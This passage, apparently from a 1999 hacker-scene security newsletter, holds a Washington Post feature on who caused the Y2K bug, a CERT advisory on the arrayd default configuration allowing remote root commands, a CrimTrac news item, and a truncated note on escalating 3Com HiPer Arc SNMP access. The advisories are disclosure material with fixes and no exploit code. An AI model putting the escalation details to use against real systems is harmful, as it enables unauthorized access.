     avenging instrument has finally loomed into view. For Luddites aghast at the
     excesses of the industrialized world, Y2K is the perfect comeuppance. For
     anyone who has ever read Vonnegut or Eliot, the ironies are lush.

     This is the way the world ends. Not with a bang but a . . . crash.

     Because society has been gamely focused on working together to forestall
     disaster, not much effort has so far been expended on senseless
     finger-pointing. The civility will end after the first of the year. Finger-pointing
     will no longer be senseless. One question will be asked repeatedly, mostly by
     attorneys gearing up for lawsuits:

     Who screwed up?

     The search for a culprit is an honored American tradition. It nourishes both
     law and journalism. When things go bad, we demand a fall guy. A
     scapegoat. A patsy. 

     Today we'll search for one, and find him. 

     The Unsquashable Bug 

     First, it isn't really a "bug."

     The term "computer bug" was coined by Navy computer pioneer Grace
     Hopper in the 1950s after a moth got into one of her machines and it went
     haywire. A "bug" implies something unforeseeable. 

     The Y2K problem wasn't just foreseeable, it was foreseen. 

     Writing in February 1979 in an industry magazine called Interface Age,
     computer industry executive Robert Bemer warned that unless programmers
     stopped dropping the first two digits of the year, programs "may fail from
     ambiguity in the year 2000." 

     This is geekspeak for the Y2K problem. 

     Five years later, the husband-wife team of Jerome T. and Marilyn J. Murray
     wrote it much more plainly. In a book called "Computers in Crisis: How to
     Avoid the Coming Worldwide Computer Systems Collapse," they predicted
     Y2K with chilling specificity.

     Few people read it. The year was 1984, and to many, the book seemed very
     1984-ish: a paranoid Orwellian scenario. ComputerWorld magazine reviewed
     it thus:

     "The book overdramatizes the date-digit problem. . . . Much of the book can
     be overlooked." 

     How could we have been so blind? 

     Basically, we blinded ourselves, like Oedipus. It seemed like a good idea at
     the time. 

     Imagine you own a car that gets one mile to the gallon, and every additional
     ounce in the passenger compartment further reduces the gas efficiency. You
     would do anything you could to lighten your load. You might even drive
     naked, gawkers be damned. 

     That's pretty much what occurred back in the 1950s, in the early days of
     computers. Simple arithmetic calculations required a machine the dimensions
     of a minivan. Memory was contained not in chips the size of fingernails but
     in electrostatic vacuum tubes the size of cucumbers; small stores of memory
     cost tens of thousands of dollars. Data were entered by punching holes in
     stiff cards the size of airline tickets, each containing only 80 characters of
     information. Businesses needed warehouses to store tons of cards. Anything
     that reduced the amount of data, even slightly, saved money.

     What followed was nearly inevitable. Programmers built a house of cards.

     Most of them employed abbreviations, particularly to represent prosaic bits
     of recurring data, such as the date. They expressed the month, day and year
     in a total of six digits rather than eight.

     Many programmers say today that they knew they were being sloppy. But
     there were greater priorities. 

     So they drove naked. 

     Why didn't people realize earlier the magnitude of the problem they were
     creating?

     And when they did realize it, why was the problem so hard to solve? 

     Have Run, Will Travel 

     We sought the answer from the first man to ask the question. 

     Robert Bemer, the original Y2K whistleblower, lives in a spectacular home
     on a cliff overlooking a lake two hours west of a major American city. We
     are not being specific because Bemer has made this a condition of the
     interview. We can say the car ride to his town is unrelievedly horizontal. The
     retail stores most in evidence are fireworks stands and taxidermists.

     In his driveway, Bemer's car carries the vanity tag "ASCII." He is the man
     who wrote the American Standard Code for Information Interchange, the
     language through which different computer systems talk to each other. He
     also popularized the use of the backslash, and invented the "escape"
     sequence in programming. You can thank him, or blaspheme him, for the
     ESC key.

     In the weenieworld of data processing, he is a minor deity.

     We had guessed Bemer would be reassuring about the Y2K problem. 

     Our first question is why the heck he recently moved from a big city all the
     way out to East Bumbleflop, U.S.A.

     It's a good place to be next New Year's Eve, he says. From a kitchen
     drawer he extracts two glass cylinders about the size of the pneumatic-tube
     capsules at a drive-through teller. Each is filled with what appears to be
     straw.

     "They're Danish," he says. "They cost $500. We ran water with cow[poop]
     through them and they passed with flying colors." 

     They're filters, to purify water. If Y2K is as bad as he fears, he says,
     cocking a thumb toward his backyard, "we can drain the lake." 

     Bemer is 79. He looks flinty, like an aging Richard Boone still playing
     Paladin.

     He has started a company, Bigisoft, that sells businesses a software fix for
     the Y2K problem. So, for selfish reasons, he doesn't mind if there is
     widespread concern over Y2K, though he swears he really thinks it is going
     to be bad. That's why he has requested that we not mention the town in
     which he lives. He doesn't want nutballs descending on him in the hellish
     chaos of Jan. 1, somehow blaming him.

     Who, then, is to blame? 

     Bemer rocks back in his chair and offers a commodious smile. 

     In one sense, he says, he is. 

     Binary Colors 

     In the late 1950s, Bemer helped write COBOL, the Esperanto of computer
     languages. It was designed to combine and universalize the various dialects
     of programming. It also was designed to open up the exploding field to the
     average person, allowing people who weren't mathematicians or engineers to
     communicate with machines and tell them what to do. COBOL's commands
     were in plain English. You could instruct a computer to MOVE, ADD,
     SEARCH or MULTIPLY, just like that. 

     It was a needed step, but it opened the field of programming, Bemer says, to
     "any jerk."

     "I thought it would open up a tremendous source of energy," he says. "It did.
     But what we got was arson."

     There was no licensing agency for programmers. No apprenticeship system.
     "Even in medieval times," Bemer notes dryly, "there were guilds." When he
     was an executive at IBM, he said, he sometimes hired people based on
     whether they could play chess.

     There was nothing in COBOL requiring or even encouraging a two-digit
     year. It was up to the programmers. If they had been better trained, Bemer
     says, they might have known it was unwise. He knew. 

     He blames the programmers, but he blames their bosses more, for caving in
     to shortsighted client demands for cost-saving. 

     "What can I say?" he laughs. "We're a lousy profession."

     Some contend that the early programmers were unconcerned about the year
     2000 because they expected their programs to last only a few years. If that
     is true, it was naive. Computers are forever becoming obsolete, replaced by
     faster, better technologies, but the programs they run can be nearly
     immortal. A good program is self-perpetuating, tested over time, wrinkles
     ironed out through updates, a solid foundation for all that follows. The house
     above it may be fancified, with spiffy new wings and porticoes, but the
     foundation remains. Which goes to the heart of the Y2K problem.

     The longer a program is used, the larger the database and supporting
     material that grow around it. If, say, a program records and cross-references
     the personnel records in the military, and if the program itself abbreviates
     years with two digits, then all stored data, all files, all paper questionnaires
     that servicemen fill out, will have two-digit years. The cost of changing this
     system goes way beyond the cost of merely changing the computer
     program. 

     It's like losing your wallet. Replacing the money is no sweat. Replacing your
     credit cards and ATM card and driver's license and business-travel receipts
     can be a living nightmare.

     And so, even after computer memory became cheaper, and data storage
     became less cumbersome, there was still a powerful cost incentive to retain
     a two-digit year. Some famously prudent people programmed with a
     two-digit date, including Federal Reserve Chairman Alan Greenspan, who
     did it when he was an economics consultant in the 1960s. Greenspan
     sheepishly confessed his complicity to a congressional committee last year.
     He said he considered himself very clever at the time. 

     In their omnibus 1997 manual for lawyers planning Y2K litigation--an
     excellent if unnerving document of 600-plus pages--attorneys Richard D.
     Williams and Bruce T. Smyth suggest that IBM and other computer
     manufacturers might be partially at fault for not addressing the problem in
     the early '60s by advising their customers of the wisdom of a four-digit year.
     In 1964, IBM came out with a its System/360 computers, which
     revolutionized the industry. It built upon existing programs, yet required much
     new software. Should IBM have seized the moment to make things right? 

     "That would have been stupid," responds Frederick Brooks, a University of
     North Carolina computer science professor. In the 1960s, Brooks was
     IBM's project manager for the System/360. 

     The average 360, he says, had either 16 or 32 kilobytes of memory, 12 of
     which were needed to run the operating system. What was left was less
     memory than is available today in a hand-held personal organizer from Radio
     Shack. Every possible memory-conserving device had to be employed. And
     the year 2000 was far, far away. 

     "I never heard anyone seriously propose a four-digit year," he recalls. It is
     not as if a two-digit year was set in stone anywhere, he says. It just became
     a logical convention, across the industry.

     So Y2K was inevitable? 

     No. As time passed and memory became cheaper and the end of the
     century got closer, Brooks says, "the cost of using four-digit years went
     down gradually, and the wisdom of using them went up gradually."

     When did the two lines cross on the graph? 

     Around 1970, he says. But competitive pressures kept managers from
     making that expensive decision. By the mid-1980s, it was too late.
     Computers were everywhere, their programs hopelessly infected with the
     problem. 

     Could anything have changed corporate attitudes earlier?

     The former IBM man ponders this. 

     "If we had adopted industry-wide standards by some standards group,
     standards everyone would have had to follow, there would be no competitive
     pressures for cost." But nothing like that ever happened, he says. 

     Actually, Brooks is wrong. Something very much like that happened. A
     group did adopt a written standard for how to express dates in computers.

     We are looking at it now. 

     It is a six-page document. It is so stultifying that it is virtually impossible to
     read. It is titled "Federal Information Processing Standards Publication 4:
     Specifications for Calendar Date." It is dated Nov. 1, 1968, and took effect
     on Jan. 1, 1970, precisely when Brooks says the lines on the graph crossed,
     precisely when a guiding hand might have helped. 

     On Page 3, a new federal standard for dates is promulgated. 

     Sometimes, someone makes a reasonable-sounding statement that, in the
     merciless glare of history, seems dreadfully unwise: "Separate but equal" is
     one of these. Also: "I believe it is peace in our time," an opinion rendered by
     Neville Chamberlain weeks before the outbreak of World War II.

     Federal Information Processing Standards Publication 4, Paragraph 4 and
     Subparagraph 4.1, is another of those statements. Here it is, in its entirety: 

     Calendar Date is represented by a numeric code of six consecutive positions
     that represent (from left to right, in high to low order sequence) the Year,
     the Month and the Day, as identified by the Gregorian Calendar. The first
     two positions represent the units and tens identification of the Year. For
     example, the Year 1914 is represented as 14, and the Year 1915 is
     represented as 15.

     Ah. 

     The Y2K problem. 

     Set in stone. 

     By the United States government.

     FIPS 4, as it was called, was limited in scope. It applied only to U.S.
     government computers, and only when they were communicating from
     agency to agency. Still, it was the first national computer date standard ever
     adopted, and it influenced others that followed. It would have affected any
     private business that wanted to communicate with government computers. It
     might have been a seed for change, had it mandated a four-digit year. 

     It was a missed opportunity. Who screwed up?

     The Standard Bearers

     Harry S. White Jr., 64, places a briefcase on the table. It is heavy. He has
     documents. 

     We are meeting in a conference room at a Holiday Inn in Morgantown,
     W.Va., to plumb ancient history. White helped write FIPS 4; at the time he
     was with the National Bureau of Standards. 

     White says he is pleased to meet us. He holds out a hand. In it is a Bible. 

     "Be careful with that," he says mildly. "It's powerful. If you open it, it will
     have an impact on your life."

     White is West Virginia chairman of The Gideons International, the
     gentlemen's organization that places Bibles in hotel rooms. He is now
     semi-retired, but for much of his life he was an expert on standardizing
     computer codes, a scientist whose field involved the proper sequencing of
     digits and symbols. God, they say, is in the details. 

     In the 1960s and '70s, White was one of a few dozen computer experts who
     met regularly on committees to try to get government and industry to use
     identical conventions in programming. It was an important job, but a
     thankless one. Programmers sometimes consider themselves as creative as
     novelists; to them, standards experts are squinty-eyed, pencil-necked
     editors--necessary, perhaps, but nit-picky and annoying.

     In this insular world, all debates are about small things; so small things can
     become very large. 

     Harry White says that back in 1968, he was opposed to a two-digit year. He
     did not exactly foresee the extent of the Y2K problem but there was
     something about two digits that offended his sense of the rightness of things:
     "If it is four digits," he says, "it is everlasting." 

     But FIPS 4 was produced by a committee, White explains. A committee.
     When a committee tries to design a horse, it can come up with a jackass. 

     On the committee were representatives of several government agencies,
     among them the Office of Management and Budget, NASA, the General
     Services Administration and the Department of Defense. Defense was by
     far the biggest computer user in the federal government, probably in the
     world, White says, and its input was disproportionately influential. The
     Defense Department, he says, opposed the four-digit year because it would
     have meant rewriting all its programs, and all the supporting data. Defense
     had bigger worries. We were neck deep in Vietnam.

     Besides, White says, there was a much larger issue on the table: the precise
     order in which the day, month and year would be written. DOD wanted to
     keep its system, familiar to Europeans and the American military:
     day/month/year. Others wanted the standard month/day/year sequence, the
     way Americans write it on personal correspondence. Whether years would
     be four digits or two seemed a minor matter. Even those people like Bemer
     and White, who sensed a problem, had no real understanding of its potential
     scope: In the 1970s few people anticipated how thoroughly computers would
     come to dominate our lives. 

     Eventually, White says, Defense gave up on the issue of the order of the
     date, but it held fast on the two-digit year.

     Three years later, the American National Standards Institute issued its own
     voluntary standard for expression of date in computer language. This was
     ANSI standard X3.30, which was drafted by, and for, both government and
     industry. Harry White was chairman of the subcommittee that addressed the
     issue of date. The Defense Department, White says, remained solidly
     opposed to change: It stuck to its guns, as it were. 

     The initial proposal was for a two-digit year, just like FIPS. But eventually,
     White said, he and others prevailed. The final standard was for a four-digit
     year, including the prefix 19- or 20-. But as a compromise with the Defense
     Department, White says, the Standards Institute added an option:
     Programmers could stick with a two-digit year if they wanted to.

     That gave everyone an out. In essence, government and business
     programmers could choose to adopt the recommended standard, at the cost
     of many millions of dollars, or they could ignore it completely, without
     technically having committed a sin. 

     "That," says Robert Bemer, "was devastating. It was an excuse to put it on
     the shelf." 

     Who screwed up? Was anyone in particular behind this?

     Harry White shuffles his papers. 

     "The director of data standards for the Office of the Secretary of Defense. I
     used to work for him."

     Who was he? 

     "I don't want to give the impression that I was a hero and he was a bad guy.
     There was just a difference in making judgments and decisions." 

     Give us a name, Harry.

     "Bill Robertson. He married his assistant, Mildred Bailey. "

     Harry and Bill

     Bill and Mildred are amiable, despite being ambushed in their jammies in
     their Baileys Crossroads apartment. They are wearing socks and slippers.
     She is redheaded, lean and energetic. He is solidly built, a little deliberate
     afoot. 

     We tell them why we are there. 

     "Anyone who says the Department of Defense was against the four-digit
     year is full of crap," Bill Robertson says. "Harry White made that up out of
     his own imagination, whole cloth." The issue never came up, Robertson said,
     at least not exactly that way. 

     Robertson and Bailey both deny their office was ever even consulted on the
     FIPS 4 regulation, though it did have input into the ANSI standards.
     Robertson says he does not recall ever being asked to comment specifically
     on a four-digit year, though he agrees the Department of Defense did in
     general oppose major changes to its computer system. Change would have
     been costly. The various armed services would not have stood for it. 

     "We would have had to change every stinking file," Bailey says. 

     "We would have had a revolt," Robertson says. If someone had ordered
     them to change, "we would have said, 'Blow it out your airbag.' "

     However, it was all moot, he claims. The Department of Defense already
     had a system for recording the date, a system Robertson helped develop and
     implement back when he was in the Air Force. Robertson wanted it to be a
     national system.

     What was their system? 

     It had a two-digit year in it, he says. 

     Aha!

     But, Robertson says, his system included something else. A date was
     designated by "data elements." The month, year and day were only three
     elements of five. There was another element, for optional use, that would
     have indicated which century it was, and yet another indicating which
     millennium. If you chose to put those in, it would tell the computer to
     distinguish between centuries. It was the solution to the Y2K problem, but it
     was never adopted nationally. 

     Bill's system never would have worked, Harry replies: "See, this is where we
     ran into that kind of problem with him! This was his definition of data
     elements, but the rest of the world would not accept this definition!" 

     Harry says Bill was "a very narrow, bullheaded individual. When it came to
     matters of being able to compromise, he was totally inflexible."

     Bill says Harry was the bullheaded one. He wouldn't listen to reason.
     Wouldn't join him in his data elements program. "We had the answer in
     1964. Harry never tried to get on board!" 

     Once, Bill says, Harry got into a shouting match with one of Bill's deputies
     on a philosophical dispute about how to express the concept of midnight. It
     nearly came to blows. 

     Harry says Bill was envious of him because he eventually rose above Bill,
     his former boss, to a position of higher authority in the field of data
     standards: "He never got over it," Harry says. 

     Bill says Harry was the envious one, ever since the day Bill beat him out for
     the Department of Defense standards job.

     "Harry and I interviewed for the same job. Has it occurred to you why I got
     it and he didn't? He didn't understand standards!"

     Did too, Harry says. 

     Did not, Bill says. 

     James Gillespie was a computer standards man for the Navy. He worked
     with both White and Robertson, on ANSI deliberations. He liked them both,
     he said, but the two men could not get along.

     "They had a personality conflict that impeded progress," Gillespie said.

     For some danged reason, the negotiations over computer date lasted a very,
     very long time. And for some danged reason, nothing very handsome was
     accomplished. 

     In the end, what was produced was FIPS 4 and ANSI X3.30, neither of
     which protected the world against Y2K. 

     Today, both Harry and Bill scorn the FIPS 4 and ANSI X3.30 standards as
     weak and muddled. 

     It may be the only thing in the whole entire world they agree on. 

     File Not Found 

     We've tried to further research this Harry-Bill contretemps. Many of the
     participants are dead; others' memories are indistinct. Harry says there
     should be a paper trail showing the Defense Department's complicity in all
     this--but the official government file on the FIPS 4 document is as thin as
     leaf. There's no paper trail.

     Harry suspects chicanery: He theorizes the records were either "shredded or
     placed where they are not in the public domain." 

     A spokesman for the National Institute of Standards and Technology, keeper
     of the FIPS files, confirms that other FIPS regulations have bulging folders,
     but not FIPS 4. He does not know why, but says there is no evidence any
     larger file ever existed. There is certainly no coverup, he said. 

     Ruth Davis is president of the Pymatuning Group, a technical management
     firm in Alexandria. In the 1970s, she was Harry White's boss at the National
     Bureau of Standards. She remembers Harry being apoplectic at the
     intransigence of the Department of Defense on the issue of the four-digit
     year. But she says she never really blamed DOD. The cost, she said, would
     have been huge.

     Davis had once worked for Defense, and understood the necessity of saving
     space. At times, she said, it was a life-or-death priority. Back then, she said,
     Defense had to maintain control of rockets during their launches.
     Calculations had to be made in real time. This required quickness, which
     required computer memory. They couldn't screw around with four-digit
     dates. 

     She said it would be wrong to blame any one person at DOD. It was policy,
     top to bottom. Plus, it made sense.

     So we can't blame Bill? 

     "You can't blame anyone."

     Damn.

     Tomorrow Is Another Day 

     Maybe we're looking at this thing all wrong. Maybe it isn't about people, at
     all. Maybe it is just about numbers.

     Maybe, in the early days, there simply never was a good solution to a basic
     problem of space: A six-digit date was much more economical than eight.
     Maybe a problem at century's end was unavoidable, since you could not
     possibly express the date unambiguously in six digits alone.

     Except, you could. Astronomers do. They deal in distances so vast that light
     takes millions of years to traverse them. So astronomers are forever having
     to add and subtract time periods that span centuries. Since the 1700s, they
     have found a simple way to do this, with a minimum of figuring or adjustment
     for leap years and the like: They use something called the Julian day number,
     adapted from the ancient Julian calendar. 

     In this system, the day Jan. 1, 4713 B.C., is arbitrarily taken as Day 1, the
     beginning of time. And every day thereafter is numbered sequentially, as a
     single number. For example, Jan. 1, 2000, the day of the presumed Y2K
     Armageddon, would be Julian Day 2,451,545.

     In Julian day calculations, there is never a need for Month, Day, or Year.
     There is no ambiguity about centuries, because there is no century. Julian
     day numbers are, at least theoretically, the perfect solution to the Y2K
     problem. 

     The modern Julian day number is seven digits long. But, if you used it in
     computers, you could safely drop the first one. That abbreviation would
     eventually create a Y2K-type ambiguity, but that ambiguity would not occur
     until A.D. 3501, when the Julian date would hit 3,000,000. By then we might
     all have big, bald heads and no teeth and do our computing telepathically.

     If the Julian day had been used in computers--it could have been since 1963,
     when an algorithm was written to perform the conversion automatically--it
     would have conserved memory. For microprocessor chips, no conversion
     would even have been necessary; they could have been programmed
     directly with the Julian date.

     This was actually considered.

     Thomas Van Flandern, an astronomer at the University of Maryland,
     believes that if data processors had adopted the Julian date in 1963, the Y2K
     problem would not exist.

     In fact, he says, this was once a hot topic among astronomers. They wanted
     to recommend it: "There was a lot of discussion about it at the Jet Propulsion
     Laboratory," he recalls. "But it broke up into small pools."

     Astronomers simply couldn't get together on it, Van Flandern says. Basic
     philosophical disputes arose. The movement disintegrated, he says, because
     it became polarized. On one side were those who wanted to change all
     calculations, such as expressing all angles not in degrees but in radians. On
     the other side were people who wanted to change nothing. They fought.
     Those simply advocating a Julian date for computers were lost in the din.
     Nothing got done.

     And the Julian date issue died. 

     So maybe the Y2K problem is about people after all.

     Nixon's the One? 

     We had one more lead on someone to blame. A last-ditch theory. It was a
     good theory. It promised us a fabulous villain. We were excited.

     In the early 1970s, Robert Bemer remained bugged, as it were, by the
     problem of the two-digit year. He discussed it with acquaintances. One of
     these was Edward David, the science adviser to the president of the United
     States. 

     Bemer says he urged David to take the matter to the White House. To the
     president himself, if need be. 

     The president was . . . Richard Nixon. 

     Clearly, this merited further investigation. 

     Edward David is 74. He is president of EED Inc., a computer consulting
     firm in Bedminster, N.J. 

     Yes, he recalls, Bemer did discuss the two-digit year with him. And yes,
     David agreed with Bemer that it might be a problem. "I know computers,"
     David says. "I know how stupid computers are." 

     And yes, David says, Bemer urged him to take it up at the highest levels. 

     Did he talk about it with, y'know . . . Nixon? 

     "No."

     So much for the perfect villain.

     "I discussed it with my staff," David says. "I discussed it with some other
     agencies." He certainly talked to people in the Office of Management and
     Budget, he says, and possibly in John Ehrlichman's office, or George
     Shultz's. David does not recall names, but he recalls the reaction. People, he
     says, "wagged their head sagely and said this problem is simply not on the
     radar screen."

     In particular, he remembers this fairly universal response:

     "It's 30 years in the future. We'll be out of office. Leave it to the civil
     servants. They'll still be here." 

     The Sting of the Bug 

     It's not my problem. It's not on my watch. He's full of crap. They're jerks.
     He won't listen to reason. She's jealous. What's he trying to pull? Blow it out
     your airbag.

     A people problem.

     No one wanted the Millennium Bug. No one hatched it. But no one bottled it
     up when they had the chance, and here it is. 

     It's the same way with warfare: No one wants it. Everyone tries to avoid it.
     And here it is.

     The Y2K problem is not a computer problem, after all. It was not hard-wired
     into the mechanical brains themselves, as some have contended. It was
     hard-wired into the human brain. We want to be enlightened. But our
     wisdom falls victim to greed and hostility and covetousness and expedience.
     It's human nature. 

     A people problem. 

     We didn't want a people problem. We wanted a person problem. Someone
     to blame.

     With Y2K, there is only one fact about which most everyone agrees: It
     happened in large measure because computers were invented in the center
     of the century. It was an accident of timing. 

     The first electronic digital computer, ENIAC, was unveiled in 1946. Let's
     say this had occurred in 1996. The next century would have been right
     around the corner, barreling at us. Yes, some programs would have been
     able to ignore it, but the majority would not. Simple mortgages would have
     had to accommodate the new century. The balance would be tilted. The
     state of the art would have to be the four-digit date, despite the cost. Few
     computer experts doubt this. 

     And if computers had been invented in, say, 1912, the same thing would
     have happened in reverse. The birthdays of 80 percent of the American
     population would have had to be expressed as part of a previous century.
     Arithmetic involving ages, dates of employment, home purchases, anything
     that looked remotely into the past would have similarly had to account for the
     1800s. 

     But where does this get us? It's impossible to second-guess the march of
     progress. Science proceeds at its own pace. Inventions beget other
     inventions. Computers happened when they were ready to happen. Not
     before or after.

     But why did that moment fall at the center of the century? Can the calendar
     itself be second-guessed?

     S. Thomas Parker is a professor of history at North Carolina State
     University. He is an expert on time measurement. We got his name from an
     Internet search. (Computers. They're magic.) 

     We explain our predicament. We need to find someone to blame for the fact
     that the year 2000 is arriving in six months, and not at some other time. In
     other words:

     Why 2K?

     Parker thinks about this. 

     He consults a book. 

     And finds us our patsy. 

     Dennis the Menace? 

     Most likely, he dressed in coarse brown robes woven from hemp. He was a
     Scythian monk who lived in Rome in the 6th century A.D. His name was
     Dionysius Exiguus, which translates, roughly, into "Dennis the Short." Dennis
     may well have been a small man, but scholars suspect he took the moniker
     as a sign of humility.

     Parker explains that before Dennis the Short, time was reckoned in various
     ways; some figured the date by the number of years since the election of the
     current pope. The most common system for counting time, however, was
     dating it from the founding of Rome in what is now considered 753 B.C. 

     Dennis the Short is widely credited with having created the modern
     calendar. In A.D. 525, he is said to have proposed dating the Christian era
     from the birth of Jesus, and persuaded the papacy this was a good idea.
     Dennis calculated this to be the year we now call A.D. 1. It took centuries,
     but eventually this system was adopted throughout the Christian world. 

     But Dennis was wrong, Parker says. He miscalculated. If the Scriptures are
     to be believed, Jesus was certainly born during the reign of Herod the First,
     the king who ordered the death of all male babies in Judea after hearing of
     the birth of a messiah. Herod died in 4 B.C. That means Jesus was born at
     least four years earlier than Dennis reckoned. Which means all dates should
     be four years later than we think. 

     Not good enough. It would not have mattered appreciably if computers had
     been invented in 1950 instead of 1946.

     Parker considers this. 

     Well, he asks, why did Dennis the Short fix the start of the Christian era at
     the birth of Christ? "Resurrection is the true beginning," he says.

     Good point. Christ died a Jew. His last supper was a seder. The Christian
     era should begin not with his birth but his death. 

     He is thought to have died around A.D. 34, during the latter years of the
     tenure of Pontius Pilate, Judea's Roman prefect.

     Shorty turned over the hourglass 34 years too soon!

     Let's recalculate time. 

     A.D. now means what schoolkids have always thought it meant: After
     Death. The U.S. was birthed in Philadelphia not in 1776 but 1742. The Civil
     War began in 1826. The stock market crashed in 1895.

     And ENIAC debuted in . . . 1912. 

     Pretty soon thereafter, the Department of Defense had a problem. It really,
     really, wanted to program its computers using a two-digit year. But gosh
     darn it, this just wasn't practical. Half of all servicemen were born in the
     previous century. Industry faced similar problems. When they could,
     programmers still used a two-digit date. But most could not. The four-digit
     year became the rule, not the exception.

     Today is Sunday, July 18, 1965. The century will not end for 34 years. But
     computers will have been programmed correctly. There will be no
     millennium bug.

     The Villain, Unmasked 

     It's not Dick Nixon. It's not Bob Bemer. It's not Ed David. It's not Alan
     Greenspan. It's not Bill. It's not Harry. 

     It's Shorty. 

     He's the one who screwed up.

     Big time. 

     Special correspondent Bob Massey contributed to this report.


               © Copyright 1999 The Washington Post Company
. 
     
     @HWA
     

45.0 CERT ADVISORY CA-99-09
     ~~~~~~~~~~~~~~~~~~~~~~ 
      
     by BHZ, Tuesday 20th July 1999 on 1:45 am CET
     CERT released new security advisory. "A vulnerability has been discovered in the
     default configuration of the Array Services daemon, arrayd. Array Services are used to
     manage a cluster of systems. The default configuration file, arrayd.auth, disables
     authentication and does not provide adequate protection for systems connected to an
     untrusted network". Read the advisory below;
     
     CERT Advisory CA-99-09 Array Services default configuration

         Originally released: July 19, 1999
         Source: CERT/CC
         
      Systems Affected
      
           * IRIX systems running the Array Services daemon
           * UNICOS systems running the Array Services daemon
             
      I. Description
      
         A vulnerability has been discovered in the default configuration of
         the Array Services daemon, arrayd. Array Services are used to manage a
         cluster of systems. The default configuration file, arrayd.auth,
         disables authentication and does not provide adequate protection for
         systems connected to an untrusted network.
         
         SGI has published the following document describing the vulnerability
         and solutions:
         
         ftp://sgigate.sgi.com/security/19990701-01-P
                
      II. Impact
      
         On systems installed with the default configuration, remote and local
         users can execute arbitrary commands as root.
         
      III. Solution
      
         Use "SIMPLE" authentication
         
         Reconfigure arrayd to use "SIMPLE" authentication. For more
         information about reconfiguring arrayd, please see the SGI security
         bulletin.
         
         Disable the arrayd daemon
         
         If you do not need the capabilities provided by the arrayd daemon, you
         may wish to disable the daemon.
           _________________________________________________________________
         
         The CERT Coordination Center would like to thank Yuri Volobuev and the
         SGI Security Team for their assistance in preparing this advisory.
         ______________________________________________________________________
         
         This document is available from:
         http://www.cert.org/advisories/CA-99-09-arrayd.html.
         ______________________________________________________________________
         
      CERT/CC Contact Information
      
         Email: cert@cert.org
                Phone: +1 412-268-7090 (24-hour hotline)
                Fax: +1 412-268-6989
                Postal address:
                CERT Coordination Center
                Software Engineering Institute
                Carnegie Mellon University
                Pittsburgh PA 15213-3890
                U.S.A.
                
         CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
         Monday through Friday; they are on call for emergencies during other
         hours, on U.S. holidays, and on weekends.
         
      Using encryption
      
         We strongly urge you to encrypt sensitive information sent by email.
         Our public PGP key is available from http://www.cert.org/CERT_PGP.key.
         If you prefer to use DES, please call the CERT hotline for more
         information.
         
      Getting security information
      
         CERT publications and other security information are available from
         our web site http://www.cert.org/.
         
         To be added to our mailing list for advisories and bulletins, send
         email to cert-advisory-request@cert.org and include SUBSCRIBE
         your-email-address in the subject of your message.
         
         Copyright 1999 Carnegie Mellon University.
         Conditions for use, disclaimers, and sponsorship information can be
         found in http://www.cert.org/legal_stuff.html.
         
         * "CERT" and "CERT Coordination Center" are registered in the U.S.
         Patent and Trademark Office
         ______________________________________________________________________
         
         NO WARRANTY
         Any material furnished by Carnegie Mellon University and the Software
         Engineering Institute is furnished on an "as is" basis. Carnegie
         Mellon University makes no warranties of any kind, either expressed or
         implied as to any matter including, but not limited to, warranty of
         fitness for a particular purpose or merchantability, exclusivity or
         results obtained from use of the material. Carnegie Mellon University
         does not make any warranty of any kind with respect to freedom from
         patent, trademark, or copyright infringement.
         
         Revision History
         July 19, 1999:  Initial release
      
      -----BEGIN PGP SIGNATURE-----
      Version: 2.6.2
      
      iQCVAwUBN5N5q3VP+x0t4w7BAQGo1QQApyCUoV27rxMD4w3bOI9Ylvxk0eFnImVf
      XEpRSW74HHHMyPrBC4mltDYjrwX1gXGHR9WK8E9dSGfJju89vFR1IBrp7fZmARCx
      YDp1z9XNBAUe/0U2QiW7D/ALfvcVamviSuwAKiZY4ECxL6jtwBF6AYOpEUnOkxYG
      tiqdDO3EWjY=
      =Uzpa
      -----END PGP SIGNATURE----- 
     
     
     @HWA
     
46.0 Tracking Criminals With New Technology
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     via http://www.securityfocus.com/
     
     21/07/99 14:54 

     Tracking criminals with new technology 
     Selina Mitchell 
    
     The Federal Government has called for tenders to build a national crime
     investigation system. 
    
     The government has set aside $50 million over three years to establish
     CrimTrac, which it is hoped will make policing easier across the nation. 
    
     CrimTrac will be developed in stages, the first being a new and enhanced
     National Automated Fingerprint Identification System (NAFIS). This should
     be operational before the Sydney Olympics, said Minister for Justice and
     Customs, Senator Amanda Vanstone. 
    
     It would not be sensible to have an old fingerprint system running when so
     many people would be in the country, she said. "Australia's current
     fingerprint system has been in place since 1986, and will run out of capacity
     in 2001. It relies on printers ink technology scarcely changed in one hundred
     years." The new system will support an inkless process that uses electronic
     and laser technology, known as livescan. 
    
     Following this, a national DNA database and a national child sex offender
     register will be set up. The government is also promising fast access to
     operational information, including domestic violence orders, missing
     person and stolen vehicle information. Vanstone could not give an exact
     timetable for implementation, but did say it would be less than a couple of
     years. 
    
     In order to be useful, all states and territories will need to supply information
     to the databases. 
    
     All relevant governments supported the new technology and if anyone
     wanted to try to find a police commissioner who didn't like the scheme they
     would have to pack a very big lunch, Vanstone said. 
    
     While private industry has been called on to build the system (providing the
     technology and solutions), it will be run by the public sector. A range of legal
     and technical safeguards will be employed, she said. CrimTrac's
     successful tenderer, and anyone working on it, will be subject to
     Commonwealth privacy laws (the Privacy Act and the Crimes Act). 
    
     Also, CrimTrac will operate on a need-to-know basis. Access will be
     provided to authorised officers only. The access control architecture will
     include secure identification, immediate warning of unauthorised users,
     access only to relevant data, firewalls and encryption, and audit logs and
     trails. 
    
     The CrimTrac tender is in two parts: the urgent replacement of NAFIS and
     the possible appointment of a long-term systems integrator for the system
     to work in partnership with the government and police services. That
     partnership (possibly with further tenders) will set up the other pieces of the
     CrimTrac system. 
    
     It is expected that contracts for the new NAFIS will be signed in November,
     and contracts for the systems integrator will be signed a month later. The
     request for tender is available from http://www.law.gov.au/.
    
                                                        
    
     This article is located at http://www.newswire.com.au/9907/tracki.htm 

     @HWA
     
47.0 3Com HiPer Arcs Community Name Vulnerability
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     From http://www.securityfocus.com/ 

     On 3Com HiPer Arc cards (and possibly others using the Pilgrim source
     base), it is possible to gain administrative snmp privileges remotely if
     you have a valid community string (of any access level). There are
     three levels of access in the card, read-only, read-write and
     administrative. The community strings are readable to all levels and
     makes it possible for an attacker to gain administrative privileges
     (needing only to view the community string in the usrSnmpCommAccess
     table and others like it). With administrative access, the attacker can
     perform a number of malicious activities possibly leading to further
